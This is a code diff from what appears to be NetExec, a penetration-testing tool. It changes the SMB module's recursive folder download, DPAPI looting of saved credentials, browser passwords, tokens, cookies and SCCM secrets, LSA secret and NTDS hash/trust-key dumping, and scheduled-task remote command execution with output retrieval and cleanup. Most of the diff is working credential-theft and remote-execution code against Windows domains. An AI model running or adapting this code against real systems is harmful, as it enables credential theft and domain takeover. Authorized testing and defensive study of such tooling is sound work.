-                    os.remove(download_path)
+            if self.download_file(share_name, remote_path, file.write):
+                if not silent:
+                    self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
+            else:
+                self.logger.debug("Opening with READ alone failed, trying to open file with READ/WRITE access")
+                if self.download_file(share_name, remote_path, file.write, FILE_READ_DATA | FILE_WRITE_DATA):
+                    if not silent:
+                        self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
+                else:
+                    if not silent:
+                        self.logger.fail(f"Error downloading file '{remote_path}' from share '{share_name}'")
 
     def get_file(self):
         for src, dest in self.args.get_file:
             self.get_file_single(src, dest)
 
+    def download_folder(self, folder, dest, recursive=False, silent=False, base_dir=None, ignore_empty=False):
+        folder = ntpath.normpath(folder)
+        self.logger.debug(f"Downloading folder with args: {folder}, {dest}, Recursive: {recursive}, Silent: {silent}, Base dir: {base_dir}, Ignore empty: {ignore_empty}")
+        base_folder = os.path.basename(folder)
+        self.logger.debug(f"Base folder: {base_folder}")
+
+        try:
+            items = self.conn.listPath(self.args.share, ntpath.join(folder, "*"))
+        except SessionError as e:
+            self.logger.error(f"Error listing folder '{folder}': {e}")
+            return
+        self.logger.debug(f"{len(items)} items in folder: {items}")
+
+        filtered_items = [item for item in items if item.get_longname() not in [".", ".."]]
+
+        # Create a safe local directory structure while retaining the raw remote path for SMB.
+        try:
+            relative_path = ntpath.relpath(folder, base_dir or folder)
+        except ValueError:
+            relative_path = folder
+        relative_parts = [] if relative_path == "." else [sanitize_path_component(part) for part in relative_path.split("\\") if part]
+        local_folder_path = os.path.join(dest, *relative_parts)
+        destination_path = Path(dest).resolve()
+        resolved_folder = Path(local_folder_path).resolve()
+        if resolved_folder != destination_path and destination_path not in resolved_folder.parents:
+            self.logger.fail(f"Path traversal detected in '{folder}', skipping")
+            return
+
+        if not filtered_items and ignore_empty:
+            self.logger.debug(f"Skipping empty folder '{folder}'")
+            return
+
+        # create the directory for this folder
+        os.makedirs(local_folder_path, exist_ok=True)
+        if not filtered_items and not silent:
+            self.logger.display(f"Created empty directory '{local_folder_path}'")
+
+        for item in filtered_items:
+            remote_item_name = item.get_longname()
+            item_name = sanitize_path_component(remote_item_name)
+            dir_path = ntpath.normpath(ntpath.join(folder, remote_item_name))
+            self.logger.debug(f"Parsing item: {remote_item_name!r}, {dir_path!r}")
+
+            if item.is_directory() and recursive:
+                self.logger.debug(f"Found new directory to parse: {dir_path!r}")
+                self.download_folder(dir_path, dest, recursive, silent, base_dir or folder, ignore_empty)
+            elif not item.is_directory():
+                remote_file_path = ntpath.join(folder, remote_item_name)
+                local_file_path = os.path.join(local_folder_path, item_name)
+                # Defense-in-depth: verify path stays under destination
+                resolved = Path(local_file_path).resolve()
+                if destination_path not in resolved.parents:
+                    self.logger.fail(f"Path traversal detected in '{item_name}', skipping")
+                    continue
+                self.logger.debug(f"{dest=} {remote_file_path=} {relative_path=} {local_folder_path=} {local_file_path=}")
+
+                try:
+                    self.get_file_single(remote_file_path, local_file_path, silent)
+                except FileNotFoundError:
+                    self.logger.fail(f"Error downloading file '{remote_file_path!r}' due to file not found (probably a race condition between listing and downloading)")
+
+    def get_folder(self):
+        recursive = self.args.recursive
+        ignore_empty = self.args.ignore_empty_folders
+        self.logger.debug(f"Recursive option set to {recursive}")
+        self.logger.debug(f"Ignore empty folders option set to {ignore_empty}")
+        for folder, dest in self.args.get_folder:
+            self.download_folder(folder, dest, recursive, self.args.silent, None, ignore_empty)
+            self.logger.success(f"Folder '{folder}' was downloaded to '{dest}'")
+
     def enable_remoteops(self, regsecret=False):
         try:
             if regsecret:
@@ -2240,255 +2325,32 @@ class smb(connection):
 
     @requires_admin
     def sccm(self):
-        target = Target.create(
-            domain=self.domain,
-            username=self.username,
-            password=self.password,
-            target=self.hostname + "." + self.domain if self.kerberos else self.host,
-            lmhash=self.lmhash,
-            nthash=self.nthash,
-            do_kerberos=self.kerberos,
-            kdcHost=self.kdcHost,
-            dc_ip=self.kdcHost,
-            aesKey=self.aesKey,
-            no_pass=True,
-            use_kcache=self.use_kcache,
-        )
-
-        conn = upgrade_to_dploot_connection(connection=self.conn, target=target)
-        if conn is None:
-            self.logger.debug("Could not upgrade connection")
-            return
-
-        masterkeys = collect_masterkeys_from_target(self, target, conn, user=False)
-
-        if len(masterkeys) == 0:
-            self.logger.fail("No masterkeys looted")
-            return
-
-        self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}")
-
-        def sccm_callback(secret):
-            if isinstance(secret, SCCMCred):
-                tag = "NAA Account"
-                self.logger.highlight(f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}")
-                self.db.add_dpapi_secrets(
-                    target.address,
-                    f"SCCM - {tag}",
-                    "SYSTEM",
-                    secret.username.decode("latin-1"),
-                    secret.password.decode("latin-1"),
-                    "N/A",
-                )
-            elif isinstance(secret, SCCMSecret):
-                tag = "Task sequences secret"
-                self.logger.highlight(f"[{tag}] {secret.secret.decode('latin-1')}")
-                self.db.add_dpapi_secrets(
-                    target.address,
-                    f"SCCM - {tag}",
-                    "SYSTEM",
-                    "N/A",
-                    secret.secret.decode("latin-1"),
-                    "N/A",
-                )
-            elif isinstance(secret, SCCMCollection):
-                tag = "Collection Variable"
-                self.logger.highlight(f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}")
-                self.db.add_dpapi_secrets(
-                    target.address,
-                    f"SCCM - {tag}",
-                    "SYSTEM",
-                    secret.variable.decode("latin-1"),
-                    secret.value.decode("latin-1"),
-                    "N/A",
-                )
-        try:
-            sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
-            sccm_triage.triage_sccm(use_wmi=self.args.sccm == "wmi", )
-        except Exception as e:
-            self.logger.debug(f"Error while looting sccm: {e}")
+        self.dpapi_triage.triage_sccm()
 
     @requires_admin
     def dpapi(self):
-        dump_system = "nosystem" not in self.args.dpapi
-
-        if self.args.pvk is not None:
-            try:
-                with open(self.args.pvk, "rb") as f:
-                    self.pvkbytes = f.read()
-                self.logger.success(f"Loading domain backupkey from {self.args.pvk}")
-            except Exception as e:
-                self.logger.fail(str(e))
-
-        if self.pvkbytes is None:
-            self.pvkbytes = get_domain_backup_key(self)
+        self.dpapi_triage.triage_dpapi()
 
+    @property
+    def dpapi_triage(self) -> DPAPITriage:
+        if self._dpapi_triage is not None:
+            return self._dpapi_triage
         target = Target.create(
             domain=self.domain,
             username=self.username,
             password=self.password,
-            target=self.remoteName,
+            address=self.remoteName,
             lmhash=self.lmhash,
             nthash=self.nthash,
             do_kerberos=self.kerberos,
             kdcHost=self.kdcHost,
             dc_ip=self.kdcHost,
             aesKey=self.aesKey,
-            no_pass=True,
             use_kcache=self.use_kcache,
         )
 
-        self.output_file = open(self.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8")  # ruff: ignore[open-file-with-context-handler]
-
-        conn = upgrade_to_dploot_connection(connection=self.conn, target=target)
-        if conn is None:
-            self.logger.debug("Could not upgrade connection")
-            return
-
-        masterkeys = collect_masterkeys_from_target(self, target, conn, system=dump_system)
-
-        if len(masterkeys) == 0:
-            self.logger.fail("No masterkeys looted")
-            return
-
-        self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...")
-
-        # Collect User and Machine Credentials Manager secrets
-        def credential_callback(credential):
-            tag = "CREDENTIAL"
-            line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
-            self.logger.highlight(line)
-            if self.output_file:
-                self.output_file.write(line + "\n")
-            self.db.add_dpapi_secrets(
-                target.address,
-                tag,
-                credential.winuser,
-                credential.username,
-                credential.password,
-                credential.target,
-            )
-
-        try:
-            credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
-            self.logger.debug(f"Credentials Triage Object: {credentials_triage}")
-            credentials_triage.triage_credentials()
-            if dump_system:
-                credentials_triage.triage_system_credentials()
-        except Exception as e:
-            self.logger.debug(f"Error while looting credentials: {e}")
-
-        dump_cookies = "cookies" in self.args.dpapi
-
-        cng_chromekey = None
-        try:
-            cng_triage = CngTriage(target=target, conn=conn, masterkeys=masterkeys)
-            for cng_file in cng_triage.triage_system_cng():
-                if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
-                    self.logger.debug("Found CNG Google ChromeKey1\n")
-                    cng_chromekey = cng_file.decrypted_private_key
-        except Exception as e:
-            self.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
-
-        # Collect Chrome Based Browser stored secrets
-        def browser_callback(secret):
-            if isinstance(secret, LoginData):
-                secret_url = secret.url + " -" if secret.url != "" else "-"
-                line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
-                self.logger.highlight(line)
-                if self.output_file:
-                    self.output_file.write(line + "\n")
-                self.db.add_dpapi_secrets(
-                    target.address,
-                    secret.browser.upper(),
-                    secret.winuser,
-                    secret.username,
-                    secret.password,
-                    secret.url,
-                )
-            elif isinstance(secret, GoogleRefreshToken):
-                line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
-                self.logger.highlight(line)
-                if self.output_file:
-                    self.output_file.write(line + "\n")
-                self.db.add_dpapi_secrets(
-                    target.address,
-                    secret.browser.upper(),
-                    secret.winuser,
-                    secret.service,
-                    secret.token,
-                    "Google Refresh Token",
-                )
-            elif isinstance(secret, Cookie):
-                line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
-                self.logger.highlight(line)
-                if self.output_file:
-                    self.output_file.write(line + "\n")
-
-        try:
-            browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
-            browser_triage.triage_browsers(gather_cookies=dump_cookies, cng_chromekey=cng_chromekey)
-        except Exception as e:
-            self.logger.debug(f"Error while looting browsers: {e}")
-
-        def vault_callback(secret):
-            tag = "IEX"
-            if secret.type == "Internet Explorer":
-                resource = secret.resource + " -" if secret.resource != "" else "-"
-                line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
-                self.logger.highlight(line)
-                if self.output_file:
-                    self.output_file.write(line + "\n")
-                self.db.add_dpapi_secrets(
-                    target.address,
-                    tag,
-                    secret.winuser,
-                    secret.username,
-                    secret.password,
-                    secret.resource,
-                )
-
-        try:
-            # Collect User Internet Explorer stored secrets
-            vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
-            vaults_triage.triage_vaults()
-        except Exception as e:
-            self.logger.debug(f"Error while looting vaults: {e}")
-
-        def firefox_callback(secret):
-            tag = "FIREFOX"
-            if isinstance(secret, FirefoxData):
-                url = secret.url + " -" if secret.url != "" else "-"
-                line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
-                self.logger.highlight(line)
-                if self.output_file:
-                    self.output_file.write(line + "\n")
-                self.db.add_dpapi_secrets(
-                    target.address,
-                    tag,
-                    secret.winuser,
-                    secret.username,
-                    secret.password,
-                    secret.url,
-                )
-            elif isinstance(secret, FirefoxCookie):
-                line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
-                self.logger.highlight(line)
-                if self.output_file:
-                    self.output_file.write(line + "\n")
-
-        try:
-            # Collect Firefox stored secrets
-            firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn, per_secret_callback=firefox_callback)
-            firefox_triage.run(gather_cookies=dump_cookies)
-        except Exception as e:
-            self.logger.debug(f"Error while looting firefox: {e}")
-
-        if self.output_file:
-            self.output_file.close()
-            with open(self.output_file_template.format(output_folder="dpapi")) as f:
-                if sum(1 for _ in f) == 0:
-                    self.logger.fail("No dpapi loot retrieved")
+        self._dpapi_triage = DPAPITriage(self, target)
+        return self._dpapi_triage
 
     @requires_admin
     def list_snapshots(self):
@@ -2505,13 +2367,22 @@ class smb(connection):
             self.logger.highlight(f"{drive:<8}{i:<26}")
 
     @requires_admin
-    def lsa(self):
+    def lsa(self, quiet=False):
         try:
-            self.enable_remoteops(regsecret=(self.args.lsa == "regdump"))
+            # --dpapi calls lsa() without --lsa, so it gets the default regdump mode too
+            self.enable_remoteops(regsecret=(self.args.lsa != "secdump"))
 
             def add_lsa_secret(secret):
                 add_lsa_secret.secrets += 1
-                self.logger.highlight(secret)
+                if "dpapi_machinekey" not in secret:
+                    if not quiet:
+                        self.logger.highlight(secret)
+                else:
+                    correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
+                    self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
+                    if not quiet:
+                        self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
+                        self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
                 if "_SC_GMSA_{84A78B8C" in secret:
                     gmsa_id = secret.split("_")[4].split(":")[0]
                     data = bytes.fromhex(secret.split("_")[4].split(":")[1])
@@ -2521,12 +2392,13 @@ class smb(connection):
                     ntlm_hash = MD4.new()
                     ntlm_hash.update(currentPassword)
                     passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8")
-                    self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}")
+                    if not quiet:
+                        self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}")
 
             add_lsa_secret.secrets = 0
 
             if self.remote_ops and self.bootkey:
-                if self.args.lsa == "regdump":
+                if self.args.lsa != "secdump":
                     LSA = RegSecretsLSASecrets(
                         self.bootkey,
                         self.remote_ops,
@@ -2541,13 +2413,15 @@ class smb(connection):
                         isRemote=True,
                         perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret),
                     )
-                self.logger.display("Dumping LSA secrets")
+                if not quiet:
+                    self.logger.display("Dumping LSA secrets")
                 self.output_filename = self.output_file_template.format(output_folder="lsa")
                 LSA.dumpCachedHashes()
                 LSA.exportCached(self.output_filename)
                 LSA.dumpSecrets()
                 LSA.exportSecrets(self.output_filename)
-                self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}")
+                if not quiet:
+                    self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}")
                 try:
                     self.remote_ops.finish()
                 except Exception as e:
@@ -2562,13 +2436,15 @@ class smb(connection):
 
     def ntds(self):
         self.enable_remoteops()
+        is_remote = True
         use_vss_method = False
         NTDSFileName = None
         host_id = self.db.get_hosts(filter_term=self.host)[0][0]
         printed_kerb_keys_banner = False
+        printed_trust_keys_banner = False
 
         def add_hash(secret_type, secret, host_id):
-            nonlocal printed_kerb_keys_banner
+            nonlocal printed_kerb_keys_banner, printed_trust_keys_banner
             if self.args.kerberos_keys and not printed_kerb_keys_banner and secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS:
                 self.logger.display("Kerberos keys:")
                 printed_kerb_keys_banner = True
@@ -2579,13 +2455,15 @@ class smb(connection):
             else:
                 add_hash.nt_lm_secrets += 1
 
-            # Log the secret based on args
-            if self.args.enabled:
-                if "Enabled" in secret:
-                    secret = " ".join(secret.split(" ")[:-1])
-                    self.logger.highlight(secret)
-            else:
-                secret = " ".join(secret.split(" ")[:-1]) if " " in secret else secret
+            is_enabled_account = secret.endswith(" (status=Enabled)")
+            is_trust_key = " (Incoming" in secret or " (Outgoing" in secret
+            for status in (" (status=Enabled)", " (status=Disabled)", " (status=N/A)"):
+                secret = secret.removesuffix(status)
+
+            if not self.args.enabled or is_enabled_account or is_trust_key:
+                if is_trust_key and not printed_trust_keys_banner:
+                    self.logger.display("Trust keys:")
+                    printed_trust_keys_banner = True
                 self.logger.highlight(secret)
 
             # Filter out computer accounts, history hashes and kerberos keys for adding to db
@@ -2613,20 +2491,21 @@ class smb(connection):
         add_hash.kerb_secrets = 0
         add_hash.added_to_db = 0
 
-        if self.remote_ops:
-            try:
-                if self.args.ntds == "vss":
-                    NTDSFileName = self.remote_ops.saveNTDS()
-                    use_vss_method = True
-            except Exception as e:
-                self.logger.fail(e)
+        if self.args.ntds == "vss":
+            use_vss_method = True
+            is_remote = False
+            output_folder = os.path.abspath(os.path.join(NXC_PATH, "logs", "ntds", sanitize_path_component(self.hostname)))
+            os.makedirs(output_folder, exist_ok=True)
+            sam_path, system_path, security_path, NTDSFileName = self.remote_ops.createSSandDownloadWMI("C:\\", output_folder, NTDS=True)
+            localOps = LocalOperations(system_path)
+            self.bootkey = localOps.getBootKey()
 
         self.output_filename = self.output_file_template.format(output_folder="ntds")
 
         NTDS = NTDSHashes(
             NTDSFileName,
             self.bootkey,
-            isRemote=True,
+            isRemote=is_remote,
             history=self.args.history,
             noLMHash=True,
             remoteOps=self.remote_ops,
@@ -2637,18 +2516,27 @@ class smb(connection):
             outputFileName=self.output_filename,
             justUser=self.args.userntds if self.args.userntds else None,
             printUserStatus=True,
+            trustKeys=self.args.trust_keys,
+            justTrustKeys=self.args.just_trust_keys,
+            domainFQDN=self.targetDomain,
             perSecretCallback=lambda secret_type, secret: add_hash(secret_type, secret, host_id),
         )
 
         try:
-            self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...")
+            if self.args.just_trust_keys:
+                self.logger.success("Dumping the trust keys, this could take a while so go grab a redbull...")
+            else:
+                self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...")
             NTDS.dump()
             ntds_outfile = f"{self.output_filename}.ntds"
-            self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database")
-            if self.args.kerberos_keys:
-                self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos")
-            self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
-            self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1")
+            if self.args.just_trust_keys:
+                self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} trust keys to {ntds_outfile}.trustkeys")
+            else:
+                self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database")
+                if self.args.kerberos_keys:
+                    self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos")
+                self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
+                self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1")
         except Exception as e:
             # if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
             # We don't store the resume file if this error happened, since this error is related to lack

nxc/protocols/smb/atexec.py

@@ -10,6 +10,7 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
 
 from nxc.helpers.misc import gen_random_string
 from nxc.helpers.rpc import NXCRPCConnection
+from nxc.protocols.smb.exec_output import get_output_file
 
 
 class TSCH_EXEC:
@@ -162,62 +163,30 @@ class TSCH_EXEC:
             except tsch.DCERPCSessionError as e:
                 self.logger.debug(f"hSchRpcRun returned: {e}")
 
-        done = False
-        while not done:
+        # A task starts within seconds of the RegistrationTrigger. Poll for up to RUN_TIMEOUT seconds so a
+        # slow host still gets a grace period, and a task that can never run (e.g. a run-as user with no
+        # interactive session, which a TASK_LOGON_NONE task needs) is detected instead of looping forever.
+        RUN_TIMEOUT = 30
+        RUN_CHECK_DELAY = 2
+        last_error = None
+        for _ in range(RUN_TIMEOUT // RUN_CHECK_DELAY):
             self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task_name}")
             try:
-                resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}")
+                if tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}")["pLastRuntime"]["wYear"] != 0:
+                    break  # the task has run
             except tsch.DCERPCSessionError as e:
-                if e.error_code == 0x00041303:
-                    sleep(2)
-                    continue
-                self.logger.fail(f"Error retrieving task last run info: {e}")
-                break
-            if resp["pLastRuntime"]["wYear"] != 0:
-                done = True
-            else:
-                sleep(2)
+                last_error = e  # SCHED_S_TASK_HAS_NOT_RUN or a transient error right after registration; keep polling
+            sleep(RUN_CHECK_DELAY)
+        else:
+            self.logger.fail(f"Task \\{self.task_name} did not start within {RUN_TIMEOUT}s. If a specific run-as user was set, it likely has no interactive session on the target (a TASK_LOGON_NONE task only runs while that user is logged on). Last error: {last_error}")
 
         self.logger.info(f"Deleting task \\{self.task_name}")
-        tsch.hSchRpcDelete(dce, f"\\{self.task_name}")
+        try:
+            tsch.hSchRpcDelete(dce, f"\\{self.task_name}")
+        except Exception as e:
+            self.logger.fail(f"[OPSEC] Could not delete scheduled task \\{self.task_name} on the target: {e}")
 
         if self.__retOutput:
-            tries = 1
-            # Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
-            sleep(0.4)
-            while True:
-                try:
-                    self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
-                    self.__connection.conn.getFile(self.__share, self.__output_filename, self.output_callback)
-                    break
-                except Exception as e:
-                    if tries >= self.__tries:
-                        self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
-                        break
-                    if "STATUS_BAD_NETWORK_NAME" in str(e):
-                        self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
-                        break
-                    elif "STATUS_VIRUS_INFECTED" in str(e):
-                        self.logger.fail("Command did not run because a virus was detected")
-                        break
-                    # When executing PowerShell and the command is still running, we get a sharing violation
-                    # We can use that information to wait longer than if the file is not found (probably av or something)
-                    if "STATUS_SHARING_VIOLATION" in str(e):
-                        self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} tries left, retrying...")
-                        tries += 1
-                        sleep(1)
-                    elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
-                        self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
-                        tries += 10
-                        sleep(1)
-                    else:
-                        self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
-                        tries += 1
-                        sleep(1)
-            try:
-                self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
-                self.__connection.conn.deleteFile(self.__share, self.__output_filename)
-            except Exception:
-                pass
+            get_output_file(self.__connection.conn, self.__share, self.__output_filename, self.output_callback, self.__tries, self.logger, "ATEXEC")
 
         dce.disconnect()

nxc/protocols/smb/database.py

@@ -3,7 +3,7 @@ import threading
 import warnings
 from datetime import datetime
 
-from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete
+from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete, and_, or_
 from sqlalchemy.dialects.sqlite import Insert  # used for upsert
 from sqlalchemy.exc import (
     SAWarning
@@ -428,6 +428,20 @@ class database(BaseDB):
 
         return self.db_execute(q).all()
 
+    def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
+        """Return credentials for a list of users from the database."""
+        if cred_type:
+            q = select(self.UsersTable).filter(
+                self.UsersTable.c.credtype == cred_type,
+                and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
+            )
+        else:
+            q = select(self.UsersTable).filter(
+                or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
+            )
+
+        return self.db_execute(q).all()
+
     def get_credential(self, cred_type, domain, username, password):
         q = select(self.UsersTable).filter(
             self.UsersTable.c.domain == domain,
@@ -725,13 +739,13 @@ class database(BaseDB):
 
     def is_dpapi_secret_valid(self, dpapi_secret_id):
         """
-        Check if this group ID is valid.
+        Check if this DPAPI secret ID is valid.
         :dpapi_secret_id is a primary id
         """
         q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
         results = self.db_execute(q).first()
         valid = results is not None
-        nxc_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}")
+        nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
         return valid
 
     def add_dpapi_secrets(

nxc/protocols/smb/dpapi.py

@@ -1,100 +0,0 @@
-from dploot.lib.target import Target
-from dploot.lib.smb import DPLootSMBConnection
-from dploot.triage.backupkey import BackupkeyTriage
-from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
-
-
-def get_domain_backup_key(context):
-    pvkbytes = None
-    try:
-        results = context.db.get_domain_backupkey(context.domain)
-    except Exception:
-        context.logger.fail(
-            "Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \
-            'workspace create dpapi' then re-run the dpapi option"
-        )
-        return False
-    if len(results) > 0:
-        context.logger.success("Loading domain backupkey from nxcdb...")
-        pvkbytes = results[0][2]
-    elif context.no_da is None and context.args.local_auth is False:
-        try:
-            dc_target = Target.create(
-                domain=context.domain,
-                username=context.username,
-                password=context.password,
-                target=context.domain,  # querying DNS server for domain will return DC
-                lmhash=context.lmhash,
-                nthash=context.nthash,
-                do_kerberos=context.kerberos,
-                aesKey=context.aesKey,
-                no_pass=True,
-                use_kcache=context.use_kcache,
-            )
-            dc_conn = DPLootSMBConnection(dc_target)
-            dc_conn.connect()  # Connect to DC
-            if dc_conn.is_admin():
-                context.logger.success("User is Domain Administrator, exporting domain backupkey...")
-                backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
-                backupkey = backupkey_triage.triage_backupkey()
-                pvkbytes = backupkey.backupkey_v2
-                context.db.add_domain_backupkey(context.domain, pvkbytes)
-            else:
-                context.no_da = False
-        except Exception as e:
-            context.logger.fail(f"Could not get domain backupkey: {e}")
-    return pvkbytes
-
-
-def collect_masterkeys_from_target(context, target, dploot_connection, user=True, system=True):
-    masterkeys = []
-    plaintexts = {}
-    nthashes = {}
-    if context.args.mkfile is not None:
-        try:
-            masterkeys += parse_masterkey_file(context.args.mkfile)
-        except Exception as e:
-            context.logger.fail(str(e))
-    if user:
-        plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
-        nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
-        # dploot matches user.lower()
-        if context.password != "":
-            plaintexts[context.username.lower()] = context.password
-        if context.nthash != "":
-            nthashes[context.username.lower()] = context.nthash
-
-    # Collect User and Machine masterkeys
-    try:
-        context.logger.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
-        masterkeys_triage = MasterkeysTriage(
-            target=target,
-            conn=dploot_connection,
-            pvkbytes=context.pvkbytes,
-            passwords=plaintexts,
-            nthashes=nthashes,
-            dpapiSystem={},
-        )
-        context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
-        if user:
-            context.logger.debug("Collecting user masterkeys")
-            masterkeys += masterkeys_triage.triage_masterkeys()
-        if system:
-            context.logger.debug("Collecting machine masterkeys")
-            masterkeys += masterkeys_triage.triage_system_masterkeys()
-    except Exception as e:
-        context.logger.debug(f"Could not get masterkeys: {e}")
-
-    return masterkeys
-
-
-def upgrade_to_dploot_connection(target, connection=None):
-    conn = None
-    try:
-        conn = DPLootSMBConnection(target)
-        if connection is not None:
-            conn.smb_session = connection
-            conn.connect()
-    except Exception:
-        return None
-    return conn

nxc/protocols/smb/exec_output.py

@@ -0,0 +1,53 @@
+from time import monotonic, sleep
+
+
+def get_output_file(conn, share, filename, callback, tries, logger, method, first_read_delay=0.1):
+    """Read the output file of an executed command, then delete it.
+
+    Most commands finish within a few hundred ms, so the file is read every 0.1s during the first 0.4s
+    (these quick reads don't count against --get-output-tries), then every 1s.
+    """
+    path = f"{share}\\" + filename.lstrip("\\")
+    quick_until = monotonic() + 0.4
+    sleep(first_read_delay)
+    attempt = 1
+    while True:
+        try:
+            logger.info(f"Attempting to read {path}")
+            conn.getFile(share, filename, callback)
+            break
+        except Exception as e:
+            if monotonic() < quick_until and ("STATUS_SHARING_VIOLATION" in str(e) or "STATUS_OBJECT_NAME_NOT_FOUND" in str(e)):
+                sleep(0.1)
+            elif attempt >= tries:
+                logger.fail(f"{method}: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
+                break
+            elif "STATUS_BAD_NETWORK_NAME" in str(e):
+                logger.fail(f"{method}: Getting the output file failed - target has blocked access to the share: {share} (but the command may have executed!)")
+                break
+            elif "STATUS_VIRUS_INFECTED" in str(e):
+                logger.fail("Command did not run because a virus was detected")
+                break
+            # When executing PowerShell and the command is still running, we get a sharing violation
+            # We can use that information to wait longer than if the file is not found (probably av or something)
+            elif "STATUS_SHARING_VIOLATION" in str(e):
+                logger.info(f"File {path} is still in use with {tries - attempt} tries left, retrying...")
+                attempt += 1
+                sleep(1)
+            elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
+                logger.info(f"File {path} not found with {tries - attempt} tries left, deducting 10 tries and retrying...")
+                attempt += 10
+                sleep(1)
+            else:
+                logger.debug(f"Exception when trying to read output file: {e!s}. {tries - attempt} tries left, retrying...")
+                attempt += 1
+                sleep(1)
+
+    try:
+        logger.debug(f"Deleting file {path}")
